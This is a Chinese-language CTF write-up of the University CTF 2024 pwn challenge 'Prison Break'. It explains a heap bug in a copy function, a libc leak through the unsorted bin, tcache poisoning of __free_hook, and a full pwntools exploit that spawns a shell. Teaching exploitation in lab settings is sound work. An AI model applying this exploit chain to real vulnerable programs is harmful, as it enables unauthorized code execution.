University CTF 2024 pwn- Prison Break
字数 1594 2025-08-29 08:30:24
University CTF 2024 pwn - Prison Break 详细教学文档
题目概述
这是一个考察堆利用技术的CTF题目,主要涉及对tcachebin链表的理解和利用,以及如何结合题目功能函数实现内存泄露和劫持控制流。
逆向分析
数据结构
题目使用了一个结构体:
struct stru {
int isUsed; // 标识是否使用
char *ptr; // 可控大小的内存指针
size_t size; // 分配的大小
};
功能函数分析
-
create函数:
- 申请一个stru结构体
- 根据用户指定大小分配内存
- 设置isUsed标志为1
-
delete函数:
- 不释放stru结构体本身
- 只释放结构体中的ptr指针指向的内存
- 不清理isUsed标志
-
view函数:
- 只打印isUsed为1的结构体中ptr指向的数据
-
copy_paste函数:
- 复制一个结构体指针的内容到另一个结构体指针
- 只需要其中一个结构体可用(isUsed=1)即可执行复制
- 这是漏洞的关键点
漏洞分析
copy_paste函数的实现存在问题:
- 只需要源或目标结构体中有一个是isUsed=1即可执行复制
- 这意味着可以:
- 将已释放的chunk的内容复制到正常chunk中(泄露内存)
- 通过复制操作控制tcache链表
利用思路
阶段一:泄露libc地址
- 申请多个0x80大小的chunk(例如9个:chunk0-chunk8)
- 释放其中的8个(chunk1-chunk8)
- 前7个会进入tcache bin
- 第8个(chunk8)会进入unsorted bin(因为tcache bin默认最多缓存7个)
- 此时内存布局:
- tcache bin: chunk7 -> chunk6 -> ... -> chunk1
- unsorted bin: chunk8
- 使用copy_paste将chunk8(已释放)的内容复制到chunk0(未释放)
- 由于chunk8在unsorted bin中,其fd/bk指针指向main_arena
- 这样可以通过view查看chunk0的内容泄露libc地址
阶段二:劫持__free_hook
- 申请一个0x70大小的chunk(非0x80,避免干扰)
- 在这个chunk中写入__free_hook的地址
- 将这个地址复制到chunk7(tcache链表的末尾)中
- 这会修改tcache链表,使得下一次分配会返回__free_hook地址
- 现在tcache链表变为:__free_hook -> chunk6 -> ... -> chunk1
阶段三:获取shell
- 申请一个chunk,由于tcache链表被篡改,将获得__free_hook地址处的内存
- 在这个chunk中写入system函数的地址
- 释放一个包含"/bin/sh"字符串的chunk,触发__free_hook执行system("/bin/sh")
预期解EXP
from pwn import *
context(os='linux', arch='amd64')
# context.log_level = 'debug'
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
p = process('./pwn')
def create(index, size, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'index: ', str(index).encode())
p.sendlineafter(b'size: ', str(size).encode())
p.sendafter(b'content: ', content)
def delete(index):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'index: ', str(index).encode())
def view(index):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'index: ', str(index).encode())
return p.recvline()
def copy_paste(src, dst):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'src: ', str(src).encode())
p.sendlineafter(b'dst: ', str(dst).encode())
# 泄露libc地址
for i in range(9):
create(i, 0x80, b'a'*0x80)
for i in range(1, 9):
delete(i)
# chunk8进入unsorted bin,复制到chunk0
copy_paste(8, 0)
leak = u64(view(0)[:8])
libc_base = leak - 0x3ebca0
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(f'libc base: {hex(libc_base)}')
# 劫持tcache
create(9, 0x70, p64(__free_hook))
copy_paste(9, 7)
# 获取__free_hook并写入system
create(10, 0x80, b'/bin/sh\x00')
create(11, 0x80, p64(system))
# 触发system("/bin/sh")
delete(10)
p.interactive()
非预期解
作者最初尝试的另一种利用方式:
- 通过篡改某个结构的ptr指针,使其指向__free_hook
- 然后通过copy操作向__free_hook写入system地址
- 虽然也能达到目的,但相比预期解更为复杂
关键点总结
- copy_paste函数的漏洞:只需要一个结构体可用即可复制,允许操作已释放的内存
- tcache bin的限制:默认只缓存7个相同大小的chunk,第8个会进入unsorted bin
- 泄露libc:通过unsorted bin的fd/bk指针泄露main_arena地址
- 链表劫持:通过复制操作修改tcache链表,控制分配地址
- __free_hook利用:经典的hook劫持技术获取shell
学习要点
- 理解tcache bin和unsorted bin的行为差异
- 掌握如何通过UAF泄露libc地址
- 学习如何通过修改tcache链表控制分配
- 理解__free_hook的利用方式
- 体会预期解和非预期解的不同思路